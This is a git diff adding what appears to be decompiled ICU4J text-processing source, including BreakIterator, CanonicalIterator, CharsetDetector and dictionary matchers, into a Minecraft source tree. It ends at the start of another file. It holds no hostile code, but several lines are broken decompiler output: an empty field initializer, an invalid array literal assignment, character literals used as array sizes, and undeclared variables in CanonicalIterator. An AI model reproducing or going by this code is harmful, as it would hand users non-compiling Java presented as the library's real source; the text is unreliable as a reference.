+
+
+  public int preceding(int offset)
+  {
+    int pos = following(offset);
+    while ((pos >= offset) && (pos != -1))
+      pos = previous();
+    return pos;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+  public boolean isBoundary(int offset)
+  {
+    if (offset == 0) {
+      return true;
+    }
+    
+    return following(offset - 1) == offset;
+  }
+  
+
+
+
+
+
+
+
+
+
+  public abstract int current();
+  
+
+
+
+
+
+
+
+
+  public abstract CharacterIterator getText();
+  
+
+
+
+
+
+
+
+
+  public void setText(String newText)
+  {
+    setText(new StringCharacterIterator(newText));
+  }
+  
+
+
+
+
+
+  static abstract class BreakIteratorServiceShim
+  {
+    BreakIteratorServiceShim() {}
+    
+
+
+
+
+    public abstract Object registerInstance(BreakIterator paramBreakIterator, ULocale paramULocale, int paramInt);
+    
+
+
+
+
+    public abstract boolean unregister(Object paramObject);
+    
+
+
+
+
+    public abstract Locale[] getAvailableLocales();
+    
+
+
+
+
+    public abstract ULocale[] getAvailableULocales();
+    
+
+
+
+
+    public abstract BreakIterator createBreakIterator(ULocale paramULocale, int paramInt);
+  }
+  
+
+
+
+
+  private static final SoftReference<?>[] iterCache = new SoftReference[5];
+  
+  private static BreakIteratorServiceShim shim;
+  
+  private ULocale validLocale;
+  private ULocale actualLocale;
+  
+  public abstract void setText(CharacterIterator paramCharacterIterator);
+  
+  public static BreakIterator getWordInstance()
+  {
+    return getWordInstance(ULocale.getDefault());
+  }
+  
+
+
+
+
+
+
+
+  public static BreakIterator getWordInstance(Locale where)
+  {
+    return getBreakInstance(ULocale.forLocale(where), 1);
+  }
+  
+
+
+
+
+
+
+
+  public static BreakIterator getWordInstance(ULocale where)
+  {
+    return getBreakInstance(where, 1);
+  }
+  
+
+
+
+
+
+
+
+
+  public static BreakIterator getLineInstance()
+  {
+    return getLineInstance(ULocale.getDefault());
+  }
+  
+
+
+
+
+
+
+
+
+  public static BreakIterator getLineInstance(Locale where)
+  {
+    return getBreakInstance(ULocale.forLocale(where), 2);
+  }
+  
+
+
+
+
+
+
+
+
+  public static BreakIterator getLineInstance(ULocale where)
+  {
+    return getBreakInstance(where, 2);
+  }
+  
+
+
+
+
+
+
+
+
+  public static BreakIterator getCharacterInstance()
+  {
+    return getCharacterInstance(ULocale.getDefault());
+  }
+  
+
+
+
+
+
+
+
+
+  public static BreakIterator getCharacterInstance(Locale where)
+  {
+    return getBreakInstance(ULocale.forLocale(where), 0);
+  }
+  
+
+
+
+
+
+
+
+
+  public static BreakIterator getCharacterInstance(ULocale where)
+  {
+    return getBreakInstance(where, 0);
+  }
+  
+
+
+
+
+
+
+
+  public static BreakIterator getSentenceInstance()
+  {
+    return getSentenceInstance(ULocale.getDefault());
+  }
+  
+
+
+
+
+
+
+  public static BreakIterator getSentenceInstance(Locale where)
+  {
+    return getBreakInstance(ULocale.forLocale(where), 3);
+  }
+  
+
+
+
+
+
+
+  public static BreakIterator getSentenceInstance(ULocale where)
+  {
+    return getBreakInstance(where, 3);
+  }
+  
+
+
+
+
+
+
+
+
+
+  public static BreakIterator getTitleInstance()
+  {
+    return getTitleInstance(ULocale.getDefault());
+  }
+  
+
+
+
+
+
+
+
+
+
+  public static BreakIterator getTitleInstance(Locale where)
+  {
+    return getBreakInstance(ULocale.forLocale(where), 4);
+  }
+  
+
+
+
+
+
+
+
+
+
+  public static BreakIterator getTitleInstance(ULocale where)
+  {
+    return getBreakInstance(where, 4);
+  }
+  
+
+
+
+
+
+
+
+
+
+  public static Object registerInstance(BreakIterator iter, Locale locale, int kind)
+  {
+    return registerInstance(iter, ULocale.forLocale(locale), kind);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+  public static Object registerInstance(BreakIterator iter, ULocale locale, int kind)
+  {
+    if (iterCache[kind] != null) {
+      BreakIteratorCache cache = (BreakIteratorCache)iterCache[kind].get();
+      if ((cache != null) && 
+        (cache.getLocale().equals(locale))) {
+        iterCache[kind] = null;
+      }
+    }
+    
+    return getShim().registerInstance(iter, locale, kind);
+  }
+  
+
+
+
+
+
+
+
+  public static boolean unregister(Object key)
+  {
+    if (key == null) {
+      throw new IllegalArgumentException("registry key must not be null");
+    }
+    
+
+
+
+
+
+
+
+
+    if (shim != null)
+    {
+
+
+
+      for (int kind = 0; kind < 5; kind++) {
+        iterCache[kind] = null;
+      }
+      return shim.unregister(key);
+    }
+    return false;
+  }
+  
+
+
+
+
+
+
+  /**
+   * @deprecated
+   */
+  public static BreakIterator getBreakInstance(ULocale where, int kind)
+  {
+    if (iterCache[kind] != null) {
+      BreakIteratorCache cache = (BreakIteratorCache)iterCache[kind].get();
+      if ((cache != null) && 
+        (cache.getLocale().equals(where))) {
+        return cache.createBreakInstance();
+      }
+    }
+    
+
+
+    BreakIterator result = getShim().createBreakIterator(where, kind);
+    
+    BreakIteratorCache cache = new BreakIteratorCache(where, result);
+    iterCache[kind] = new SoftReference(cache);
+    if ((result instanceof RuleBasedBreakIterator)) {
+      RuleBasedBreakIterator rbbi = (RuleBasedBreakIterator)result;
+      rbbi.setBreakType(kind);
+    }
+    
+    return result;
+  }
+  
+
+
+
+
+
+
+
+
+  public static synchronized Locale[] getAvailableLocales()
+  {
+    return getShim().getAvailableLocales();
+  }
+  
+
+
+
+
+
+
+
+
+  public static synchronized ULocale[] getAvailableULocales()
+  {
+    return getShim().getAvailableULocales();
+  }
+  
+
+
+  private static final class BreakIteratorCache
+  {
+    BreakIteratorCache(ULocale where, BreakIterator iter)
+    {
+      this.where = where;
+      this.iter = ((BreakIterator)iter.clone());
+    }
+    
+    ULocale getLocale() {
+      return where;
+    }
+    
+    BreakIterator createBreakInstance() {
+      return (BreakIterator)iter.clone();
+    }
+    
+
+
+
+    private BreakIterator iter;
+    
+
+
+    private ULocale where;
+  }
+  
+
+
+
+  private static BreakIteratorServiceShim getShim()
+  {
+    if (shim == null) {
+      try {
+        Class<?> cls = Class.forName("com.ibm.icu.text.BreakIteratorFactory");
+        shim = (BreakIteratorServiceShim)cls.newInstance();
+      }
+      catch (MissingResourceException e)
+      {
+        throw e;
+      }
+      catch (Exception e)
+      {
+        if (DEBUG) {
+          e.printStackTrace();
+        }
+        throw new RuntimeException(e.getMessage());
+      }
+    }
+    
+    return shim;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public final ULocale getLocale(ULocale.Type type)
+  {
+    return type == ULocale.ACTUAL_LOCALE ? actualLocale : validLocale;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  final void setLocale(ULocale valid, ULocale actual)
+  {
+    if ((valid == null ? 1 : 0) != (actual == null ? 1 : 0))
+    {
+      throw new IllegalArgumentException();
+    }
+    
+
+
+    validLocale = valid;
+    actualLocale = actual;
+  }
+}
diff --git a/src/minecraft/com/ibm/icu/text/BreakIteratorFactory.java b/src/minecraft/com/ibm/icu/text/BreakIteratorFactory.java
new file mode 100644
index 0000000..c69fa98
--- /dev/null
+++ b/src/minecraft/com/ibm/icu/text/BreakIteratorFactory.java
@@ -0,0 +1,143 @@
+package com.ibm.icu.text;
+
+import com.ibm.icu.impl.Assert;
+import com.ibm.icu.impl.ICUData;
+import com.ibm.icu.impl.ICULocaleService;
+import com.ibm.icu.impl.ICULocaleService.ICUResourceBundleFactory;
+import com.ibm.icu.impl.ICUResourceBundle;
+import com.ibm.icu.impl.ICUService;
+import com.ibm.icu.impl.ICUService.Factory;
+import com.ibm.icu.util.ULocale;
+import com.ibm.icu.util.UResourceBundle;
+import java.io.IOException;
+import java.io.InputStream;
+import java.text.StringCharacterIterator;
+import java.util.Locale;
+import java.util.MissingResourceException;
+
+
+
+
+
+
+
+
+
+
+final class BreakIteratorFactory
+  extends BreakIterator.BreakIteratorServiceShim
+{
+  BreakIteratorFactory() {}
+  
+  public Object registerInstance(BreakIterator iter, ULocale locale, int kind)
+  {
+    iter.setText(new StringCharacterIterator(""));
+    return service.registerObject(iter, locale, kind);
+  }
+  
+  public boolean unregister(Object key) {
+    if (service.isDefault()) {
+      return false;
+    }
+    return service.unregisterFactory((ICUService.Factory)key);
+  }
+  
+  public Locale[] getAvailableLocales() {
+    if (service == null) {
+      return ICUResourceBundle.getAvailableLocales();
+    }
+    return service.getAvailableLocales();
+  }
+  
+  public ULocale[] getAvailableULocales()
+  {
+    if (service == null) {
+      return ICUResourceBundle.getAvailableULocales();
+    }
+    return service.getAvailableULocales();
+  }
+  
+
+  public BreakIterator createBreakIterator(ULocale locale, int kind)
+  {
+    if (service.isDefault()) {
+      return createBreakInstance(locale, kind);
+    }
+    ULocale[] actualLoc = new ULocale[1];
+    BreakIterator iter = (BreakIterator)service.get(locale, kind, actualLoc);
+    iter.setLocale(actualLoc[0], actualLoc[0]);
+    return iter;
+  }
+  
+  private static class BFService extends ICULocaleService {
+    BFService() {
+      super();
+      
+
+
+
+
+
+      registerFactory(new ICULocaleService.ICUResourceBundleFactory()
+      {
+        protected Object handleCreate(ULocale loc, int kind, ICUService srvc)
+        {
+          return BreakIteratorFactory.createBreakInstance(loc, kind);
+        }
+        
+
+      });
+      markDefault();
+    } }
+  
+  static final ICULocaleService service = new BFService();
+  
+
+
+
+
+
+
+  private static final String[] KIND_NAMES = { "grapheme", "word", "line", "sentence", "title" };
+  
+
+
+
+  private static BreakIterator createBreakInstance(ULocale locale, int kind)
+  {
+    RuleBasedBreakIterator iter = null;
+    ICUResourceBundle rb = (ICUResourceBundle)UResourceBundle.getBundleInstance("com/ibm/icu/impl/data/icudt51b/brkitr", locale);
+    
+
+
+
+    InputStream ruleStream = null;
+    try {
+      String typeKey = KIND_NAMES[kind];
+      String brkfname = rb.getStringWithFallback("boundaries/" + typeKey);
+      String rulesFileName = "data/icudt51b/brkitr/" + brkfname;
+      ruleStream = ICUData.getStream(rulesFileName);
+    }
+    catch (Exception e) {
+      throw new MissingResourceException(e.toString(), "", "");
+    }
+    
+
+
+    try
+    {
+      iter = RuleBasedBreakIterator.getInstanceFromCompiledRules(ruleStream);
+
+    }
+    catch (IOException e)
+    {
+      Assert.fail(e);
+    }
+    
+    ULocale uloc = ULocale.forLocale(rb.getLocale());
+    iter.setLocale(uloc, uloc);
+    iter.setBreakType(kind);
+    
+    return iter;
+  }
+}
diff --git a/src/minecraft/com/ibm/icu/text/BytesDictionaryMatcher.java b/src/minecraft/com/ibm/icu/text/BytesDictionaryMatcher.java
new file mode 100644
index 0000000..ac4bf35
--- /dev/null
+++ b/src/minecraft/com/ibm/icu/text/BytesDictionaryMatcher.java
@@ -0,0 +1,81 @@
+package com.ibm.icu.text;
+
+import com.ibm.icu.impl.Assert;
+import com.ibm.icu.util.BytesTrie;
+import com.ibm.icu.util.BytesTrie.Result;
+import java.text.CharacterIterator;
+
+
+
+
+
+class BytesDictionaryMatcher
+  extends DictionaryMatcher
+{
+  private final byte[] characters;
+  private final int transform;
+  
+  public BytesDictionaryMatcher(byte[] chars, int transform)
+  {
+    characters = chars;
+    Assert.assrt((transform & 0x7F000000) == 16777216);
+    
+
+
+    this.transform = transform;
+  }
+  
+  private int transform(int c) {
+    if (c == 8205)
+      return 255;
+    if (c == 8204) {
+      return 254;
+    }
+    
+    int delta = c - (transform & 0x1FFFFF);
+    if ((delta < 0) || (253 < delta)) {
+      return -1;
+    }
+    return delta;
+  }
+  
+  public int matches(CharacterIterator text_, int maxLength, int[] lengths, int[] count_, int limit, int[] values) {
+    UCharacterIterator text = UCharacterIterator.getInstance(text_);
+    BytesTrie bt = new BytesTrie(characters, 0);
+    int c = text.nextCodePoint();
+    BytesTrie.Result result = bt.first(transform(c));
+    
+    int numChars = 1;
+    int count = 0;
+    for (;;) {
+      if (result.hasValue()) {
+        if (count < limit) {
+          if (values != null) {
+            values[count] = bt.getValue();
+          }
+          lengths[count] = numChars;
+          count++;
+        }
+        if (result == BytesTrie.Result.FINAL_VALUE)
+          break;
+      } else {
+        if (result == BytesTrie.Result.NO_MATCH) {
+          break;
+        }
+      }
+      if (numChars >= maxLength) {
+        break;
+      }
+      
+      c = text.nextCodePoint();
+      numChars++;
+      result = bt.next(transform(c));
+    }
+    count_[0] = count;
+    return numChars;
+  }
+  
+  public int getType() {
+    return 0;
+  }
+}
diff --git a/src/minecraft/com/ibm/icu/text/CanonicalIterator.java b/src/minecraft/com/ibm/icu/text/CanonicalIterator.java
new file mode 100644
index 0000000..644f76c
--- /dev/null
+++ b/src/minecraft/com/ibm/icu/text/CanonicalIterator.java
@@ -0,0 +1,445 @@
+package com.ibm.icu.text;
+
+import com.ibm.icu.impl.Norm2AllModes;
+import com.ibm.icu.impl.Normalizer2Impl;
+import com.ibm.icu.impl.Utility;
+import com.ibm.icu.lang.UCharacter;
+import java.io.PrintStream;
+import java.util.ArrayList;
+import java.util.HashSet;
+import java.util.Iterator;
+import java.util.List;
+import java.util.Set;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public final class CanonicalIterator
+{
+  public CanonicalIterator(String source)
+  {
+    Norm2AllModes allModes = Norm2AllModes.getNFCInstance();
+    nfd = decomp;
+    nfcImpl = impl.ensureCanonIterData();
+    setSource(source);
+  }
+  
+
+
+
+
+  public String getSource()
+  {
+    return source;
+  }
+  
+
+
+
+  public void reset()
+  {
+    done = false;
+    for (int i = 0; i < current.length; i++) {
+      current[i] = 0;
+    }
+  }
+  
+
+
+
+
+
+
+  public String next()
+  {
+    if (done) { return null;
+    }
+    
+
+    buffer.setLength(0);
+    for (int i = 0; i < pieces.length; i++) {
+      buffer.append(pieces[i][current[i]]);
+    }
+    String result = buffer.toString();
+    
+
+
+    for (int i = current.length - 1;; i--) {
+      if (i < 0) {
+        done = true;
+        break;
+      }
+      current[i] += 1;
+      if (current[i] < pieces[i].length) break;
+      current[i] = 0;
+    }
+    return result;
+  }
+  
+
+
+
+
+
+  public void setSource(String newSource)
+  {
+    source = nfd.normalize(newSource);
+    done = false;
+    
+
+    if (newSource.length() == 0) {
+      pieces = new String[1][];
+      current = new int[1];
+      pieces[0] = { "" };
+      return;
+    }
+    
+
+    List<String> segmentList = new ArrayList();
+    
+    int start = 0;
+    
+
+
+
+    int i = UTF16.findOffsetFromCodePoint(source, 1);
+    int cp;
+    for (; i < source.length(); i += Character.charCount(cp)) {
+      cp = source.codePointAt(i);
+      if (nfcImpl.isCanonSegmentStarter(cp)) {
+        segmentList.add(source.substring(start, i));
+        start = i;
+      }
+    }
+    segmentList.add(source.substring(start, i));
+    
+
+    pieces = new String[segmentList.size()][];
+    current = new int[segmentList.size()];
+    for (i = 0; i < pieces.length; i++) {
+      if (PROGRESS) System.out.println("SEGMENT");
+      pieces[i] = getEquivalents((String)segmentList.get(i));
+    }
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+  /**
+   * @deprecated
+   */
+  public static void permute(String source, boolean skipZeros, Set<String> output)
+  {
+    if ((source.length() <= 2) && (UTF16.countCodePoint(source) <= 1)) {
+      output.add(source);
+      return;
+    }
+    
+
+    Set<String> subpermute = new HashSet();
+    int cp;
+    String chStr; for (int i = 0; i < source.length(); i += UTF16.getCharCount(cp)) {
+      cp = UTF16.charAt(source, i);
+      
+
+
+
+      if ((!skipZeros) || (i == 0) || (UCharacter.getCombiningClass(cp) != 0))
+      {
+
+
+
+
+        subpermute.clear();
+        permute(source.substring(0, i) + source.substring(i + UTF16.getCharCount(cp)), skipZeros, subpermute);
+        
+
+
+        chStr = UTF16.valueOf(source, i);
+        for (String s : subpermute) {
+          String piece = chStr + s;
+          
+          output.add(piece);
+        }
+      }
+    }
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  private static boolean PROGRESS = false;
+  
+  private static boolean SKIP_ZEROS = true;
+  
+  private final Normalizer2 nfd;
+  
+  private final Normalizer2Impl nfcImpl;
+  
+  private String source;
+  
+  private boolean done;
+  
+  private String[][] pieces;
+  
+  private int[] current;
+  
+  private transient StringBuilder buffer = new StringBuilder();
+  
+
+  private String[] getEquivalents(String segment)
+  {
+    Set<String> result = new HashSet();
+    Set<String> basic = getEquivalents2(segment);
+    Set<String> permutations = new HashSet();
+    
+
+
+
+    Iterator<String> it = basic.iterator();
+    while (it.hasNext()) {
+      String item = (String)it.next();
+      permutations.clear();
+      permute(item, SKIP_ZEROS, permutations);
+      Iterator<String> it2 = permutations.iterator();
+      while (it2.hasNext()) {
+        String possible = (String)it2.next();
+        
+
+
+
+
+        if (Normalizer.compare(possible, segment, 0) == 0)
+        {
+          if (PROGRESS) System.out.println("Adding Permutation: " + Utility.hex(possible));
+          result.add(possible);
+
+        }
+        else if (PROGRESS) { System.out.println("-Skipping Permutation: " + Utility.hex(possible));
+        }
+      }
+    }
+    
+
+    String[] finalResult = new String[result.size()];
+    result.toArray(finalResult);
+    return finalResult;
+  }
+  
+
+  private Set<String> getEquivalents2(String segment)
+  {
+    Set<String> result = new HashSet();
+    
+    if (PROGRESS) { System.out.println("Adding: " + Utility.hex(segment));
+    }
+    result.add(segment);
+    StringBuffer workingBuffer = new StringBuffer();
+    UnicodeSet starts = new UnicodeSet();
+    int cp;
+    UnicodeSetIterator iter;
+    String prefix;
+    for (int i = 0; i < segment.length(); i += Character.charCount(cp))
+    {
+
+      cp = segment.codePointAt(i);
+      if (nfcImpl.getCanonStartSet(cp, starts))
+      {
+
+
+        for (iter = new UnicodeSetIterator(starts); iter.next();) {
+          int cp2 = codepoint;
+          Set<String> remainder = extract(cp2, segment, i, workingBuffer);
+          if (remainder != null)
+          {
+
+
+
+            prefix = segment.substring(0, i);
+            prefix = prefix + UTF16.valueOf(cp2);
+            for (String item : remainder)
+              result.add(prefix + item);
+          }
+        } }
+    }
+    return result;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  private Set<String> extract(int comp, String segment, int segmentPos, StringBuffer buf)
+  {
+    if (PROGRESS) { System.out.println(" extract: " + Utility.hex(UTF16.valueOf(comp)) + ", " + Utility.hex(segment.substring(segmentPos)));
+    }
+    
+    String decomp = nfcImpl.getDecomposition(comp);
+    if (decomp == null) {
+      decomp = UTF16.valueOf(comp);
+    }
+    
+
+    boolean ok = false;
+    
+    int decompPos = 0;
+    int decompCp = UTF16.charAt(decomp, 0);
+    decompPos += UTF16.getCharCount(decompCp);
+    
+    buf.setLength(0);
+    int cp;
+    for (int i = segmentPos; i < segment.length(); i += UTF16.getCharCount(cp)) {
+      cp = UTF16.charAt(segment, i);
+      if (cp == decompCp) {
+        if (PROGRESS) System.out.println("  matches: " + Utility.hex(UTF16.valueOf(cp)));
+        if (decompPos == decomp.length()) {
+          buf.append(segment.substring(i + UTF16.getCharCount(cp)));
+          ok = true;
+          break;
+        }
+        decompCp = UTF16.charAt(decomp, decompPos);
+        decompPos += UTF16.getCharCount(decompCp);
+      }
+      else {
+        if (PROGRESS) { System.out.println("  buffer: " + Utility.hex(UTF16.valueOf(cp)));
+        }
+        UTF16.append(buf, cp);
+      }
+    }
+    
+
+
+
+
+
+
+
+
+
+
+    if (!ok) return null;
+    if (PROGRESS) System.out.println("Matches");
+    if (buf.length() == 0) return SET_WITH_NULL_STRING;
+    String remainder = buf.toString();
+    
+
+
+
+
+
+
+
+    if (0 != Normalizer.compare(UTF16.valueOf(comp) + remainder, segment.substring(segmentPos), 0)) { return null;
+    }
+    
+    return getEquivalents2(remainder);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+  private static final Set<String> SET_WITH_NULL_STRING = new HashSet();
+  
+  static { SET_WITH_NULL_STRING.add(""); }
+}
diff --git a/src/minecraft/com/ibm/icu/text/CharsDictionaryMatcher.java b/src/minecraft/com/ibm/icu/text/CharsDictionaryMatcher.java
new file mode 100644
index 0000000..b57a42b
--- /dev/null
+++ b/src/minecraft/com/ibm/icu/text/CharsDictionaryMatcher.java
@@ -0,0 +1,60 @@
+package com.ibm.icu.text;
+
+import com.ibm.icu.util.BytesTrie.Result;
+import com.ibm.icu.util.CharsTrie;
+import java.text.CharacterIterator;
+
+
+
+
+
+class CharsDictionaryMatcher
+  extends DictionaryMatcher
+{
+  private CharSequence characters;
+  
+  public CharsDictionaryMatcher(CharSequence chars)
+  {
+    characters = chars;
+  }
+  
+  public int matches(CharacterIterator text_, int maxLength, int[] lengths, int[] count_, int limit, int[] values) {
+    UCharacterIterator text = UCharacterIterator.getInstance(text_);
+    CharsTrie uct = new CharsTrie(characters, 0);
+    int c = text.nextCodePoint();
+    BytesTrie.Result result = uct.firstForCodePoint(c);
+    
+    int numChars = 1;
+    int count = 0;
+    for (;;) {
+      if (result.hasValue()) {
+        if (count < limit) {
+          if (values != null) {
+            values[count] = uct.getValue();
+          }
+          lengths[count] = numChars;
+          count++;
+        }
+        
+        if (result == BytesTrie.Result.FINAL_VALUE)
+          break;
+      } else {
+        if (result == BytesTrie.Result.NO_MATCH) {
+          break;
+        }
+      }
+      if (numChars >= maxLength) {
+        break;
+      }
+      c = text.nextCodePoint();
+      numChars++;
+      result = uct.nextForCodePoint(c);
+    }
+    count_[0] = count;
+    return numChars;
+  }
+  
+  public int getType() {
+    return 1;
+  }
+}
diff --git a/src/minecraft/com/ibm/icu/text/CharsetDetector.java b/src/minecraft/com/ibm/icu/text/CharsetDetector.java
new file mode 100644
index 0000000..62180c5
--- /dev/null
+++ b/src/minecraft/com/ibm/icu/text/CharsetDetector.java
@@ -0,0 +1,505 @@
+package com.ibm.icu.text;
+
+import java.io.IOException;
+import java.io.InputStream;
+import java.io.Reader;
+import java.util.ArrayList;
+import java.util.Arrays;
+import java.util.Collections;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class CharsetDetector
+{
+  private static final int kBufSize = 8000;
+  
+  public CharsetDetector() {}
+  
+  public CharsetDetector setDeclaredEncoding(String encoding)
+  {
+    fDeclaredEncoding = encoding;
+    return this;
+  }
+  
+
+
+
+
+
+
+
+
+  public CharsetDetector setText(byte[] in)
+  {
+    fRawInput = in;
+    fRawLength = in.length;
+    
+    return this;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public CharsetDetector setText(InputStream in)
+    throws IOException
+  {
+    fInputStream = in;
+    fInputStream.mark(8000);
+    fRawInput = new byte['ὀ'];
+    
+
+    fRawLength = 0;
+    int remainingLength = 8000;
+    while (remainingLength > 0)
+    {
+      int bytesRead = fInputStream.read(fRawInput, fRawLength, remainingLength);
+      if (bytesRead <= 0) {
+        break;
+      }
+      fRawLength += bytesRead;
+      remainingLength -= bytesRead;
+    }
+    fInputStream.reset();
+    
+    return this;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public CharsetMatch detect()
+  {
+    CharsetMatch[] matches = detectAll();
+    
+    if ((matches == null) || (matches.length == 0)) {
+      return null;
+    }
+    
+    return matches[0];
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public CharsetMatch[] detectAll()
+  {
+    ArrayList<CharsetMatch> matches = new ArrayList();
+    
+    MungeInput();
+    
+
+
+    for (CharsetRecognizer csr : fCSRecognizers) {
+      CharsetMatch m = csr.match(this);
+      if (m != null) {
+        matches.add(m);
+      }
+    }
+    Collections.sort(matches);
+    Collections.reverse(matches);
+    CharsetMatch[] resultArray = new CharsetMatch[matches.size()];
+    resultArray = (CharsetMatch[])matches.toArray(resultArray);
+    return resultArray;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public Reader getReader(InputStream in, String declaredEncoding)
+  {
+    fDeclaredEncoding = declaredEncoding;
+    try
+    {
+      setText(in);
+      
+      CharsetMatch match = detect();
+      
+      if (match == null) {
+        return null;
+      }
+      
+      return match.getReader();
+    } catch (IOException e) {}
+    return null;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public String getString(byte[] in, String declaredEncoding)
+  {
+    fDeclaredEncoding = declaredEncoding;
+    try
+    {
+      setText(in);
+      
+      CharsetMatch match = detect();
+      
+      if (match == null) {
+        return null;
+      }
+      
+      return match.getString(-1);
+    } catch (IOException e) {}
+    return null;
+  }
+  
+
+
+
+
+
+
+
+
+
+  public static String[] getAllDetectableCharsets()
+  {
+    return fCharsetNames;
+  }
+  
+
+
+
+
+
+
+
+
+
+  public boolean inputFilterEnabled()
+  {
+    return fStripTags;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+  public boolean enableInputFilter(boolean filter)
+  {
+    boolean previous = fStripTags;
+    
+    fStripTags = filter;
+    
+    return previous;
+  }
+  
+
+
+
+  private void MungeInput()
+  {
+    int srci = 0;
+    int dsti = 0;
+    
+    boolean inMarkup = false;
+    int openTags = 0;
+    int badTags = 0;
+    
+
+
+
+
+
+
+    if (fStripTags) {
+      for (srci = 0; (srci < fRawLength) && (dsti < fInputBytes.length); srci++) {
+        byte b = fRawInput[srci];
+        if (b == 60) {
+          if (inMarkup) {
+            badTags++;
+          }
+          inMarkup = true;
+          openTags++;
+        }
+        
+        if (!inMarkup) {
+          fInputBytes[(dsti++)] = b;
+        }
+        
+        if (b == 62) {
+          inMarkup = false;
+        }
+      }
+      
+      fInputLen = dsti;
+    }
+    
+
+
+
+
+
+    if ((openTags < 5) || (openTags / 5 < badTags) || ((fInputLen < 100) && (fRawLength > 600)))
+    {
+      int limit = fRawLength;
+      
+      if (limit > 8000) {
+        limit = 8000;
+      }
+      
+      for (srci = 0; srci < limit; srci++) {
+        fInputBytes[srci] = fRawInput[srci];
+      }
+      fInputLen = srci;
+    }
+    
+
+
+
+
+    Arrays.fill(fByteStats, (short)0);
+    for (srci = 0; srci < fInputLen; srci++) {
+      int val = fInputBytes[srci] & 0xFF; int 
+        tmp221_219 = val; short[] tmp221_216 = fByteStats;tmp221_216[tmp221_219] = ((short)(tmp221_216[tmp221_219] + 1));
+    }
+    
+    fC1Bytes = false;
+    for (int i = 128; i <= 159; i++) {
+      if (fByteStats[i] != 0) {
+        fC1Bytes = true;
+        break;
+      }
+    }
+  }
+  
+
+
+
+
+
+  byte[] fInputBytes = new byte['ὀ'];
+  
+
+  int fInputLen;
+  
+  short[] fByteStats = new short['Ā'];
+  
+
+
+  boolean fC1Bytes = false;
+  
+
+
+  String fDeclaredEncoding;
+  
+
+
+  byte[] fRawInput;
+  
+
+
+  int fRawLength;
+  
+
+
+  InputStream fInputStream;
+  
+
+  boolean fStripTags = false;
+  
+
+
+
+
+
+  private static ArrayList<CharsetRecognizer> fCSRecognizers = ;
+  
+  private static String[] fCharsetNames;
+  
+
+  private static ArrayList<CharsetRecognizer> createRecognizers()
+  {
+    ArrayList<CharsetRecognizer> recognizers = new ArrayList();
+    
+    recognizers.add(new CharsetRecog_UTF8());
+    
+    recognizers.add(new CharsetRecog_Unicode.CharsetRecog_UTF_16_BE());
+    recognizers.add(new CharsetRecog_Unicode.CharsetRecog_UTF_16_LE());
+    recognizers.add(new CharsetRecog_Unicode.CharsetRecog_UTF_32_BE());
+    recognizers.add(new CharsetRecog_Unicode.CharsetRecog_UTF_32_LE());
+    
+    recognizers.add(new CharsetRecog_mbcs.CharsetRecog_sjis());
+    recognizers.add(new CharsetRecog_2022.CharsetRecog_2022JP());
+    recognizers.add(new CharsetRecog_2022.CharsetRecog_2022CN());
+    recognizers.add(new CharsetRecog_2022.CharsetRecog_2022KR());
+    recognizers.add(new CharsetRecog_mbcs.CharsetRecog_gb_18030());
+    recognizers.add(new CharsetRecog_mbcs.CharsetRecog_euc.CharsetRecog_euc_jp());
+    recognizers.add(new CharsetRecog_mbcs.CharsetRecog_euc.CharsetRecog_euc_kr());
+    recognizers.add(new CharsetRecog_mbcs.CharsetRecog_big5());
+    
+    recognizers.add(new CharsetRecog_sbcs.CharsetRecog_8859_1());
+    recognizers.add(new CharsetRecog_sbcs.CharsetRecog_8859_2());
+    recognizers.add(new CharsetRecog_sbcs.CharsetRecog_8859_5_ru());
+    recognizers.add(new CharsetRecog_sbcs.CharsetRecog_8859_6_ar());
+    recognizers.add(new CharsetRecog_sbcs.CharsetRecog_8859_7_el());
+    recognizers.add(new CharsetRecog_sbcs.CharsetRecog_8859_8_I_he());
+    recognizers.add(new CharsetRecog_sbcs.CharsetRecog_8859_8_he());
+    recognizers.add(new CharsetRecog_sbcs.CharsetRecog_windows_1251());
+    recognizers.add(new CharsetRecog_sbcs.CharsetRecog_windows_1256());
+    recognizers.add(new CharsetRecog_sbcs.CharsetRecog_KOI8_R());
+    recognizers.add(new CharsetRecog_sbcs.CharsetRecog_8859_9_tr());
+    
+    recognizers.add(new CharsetRecog_sbcs.CharsetRecog_IBM424_he_rtl());
+    recognizers.add(new CharsetRecog_sbcs.CharsetRecog_IBM424_he_ltr());
+    recognizers.add(new CharsetRecog_sbcs.CharsetRecog_IBM420_ar_rtl());
+    recognizers.add(new CharsetRecog_sbcs.CharsetRecog_IBM420_ar_ltr());
+    
+
+
+    String[] charsetNames = new String[recognizers.size()];
+    int out = 0;
+    
+    for (int i = 0; i < recognizers.size(); i++) {
+      String name = ((CharsetRecognizer)recognizers.get(i)).getName();
+      
+      if ((out == 0) || (!name.equals(charsetNames[(out - 1)]))) {
+        charsetNames[(out++)] = name;
+      }
+    }
+    
+    fCharsetNames = new String[out];
+    System.arraycopy(charsetNames, 0, fCharsetNames, 0, out);
+    
+    return recognizers;
+  }
+}
diff --git a/src/minecraft/com/ibm/icu/text/CharsetMatch.java b/src/minecraft/com/ibm/icu/text/CharsetMatch.java
new file mode 100644
